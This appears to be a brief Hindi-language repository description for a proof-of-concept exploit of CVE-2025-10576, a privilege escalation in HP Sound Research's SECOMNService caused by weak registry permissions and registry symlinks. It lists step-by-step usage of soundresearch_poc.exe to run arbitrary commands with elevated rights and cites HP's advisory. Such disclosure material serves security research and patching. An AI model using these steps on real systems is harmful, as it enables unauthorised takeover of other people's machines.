r41n3rzuf477/cve-2025-10576HP Sound Research SECOMNService विशेषाधिकार वृद्धि
HP Sound Research SECOMNService सेवा में विशेषाधिकार वृद्धि (Escalation of Privilege)। कमजोर रजिस्ट्री अनुमतियाँ किसी भी उपयोगकर्ता को रजिस्ट्री सिमलिंक बनाने और SECOMNService सेवा को एक मनमाना रजिस्ट्री कुंजी बनाने के लिए बाध्य करने की अनुमति देती हैं।
कैसे करें:
1. soundresearch_poc.exe prepare
2. SECOMNService या मशीन को पुनरारंभ करें
3. soundresearch_poc.exe exploit "whoami /all > C:\Windows\soundresearch.txt"
4. soundresearch_poc.exe exploit "*another command*"
5. soundresearch_poc.exe cleanup
संदर्भ: https://support.hp.com/us-en/document/ish_13092608-13092602-16/hpsbhf04051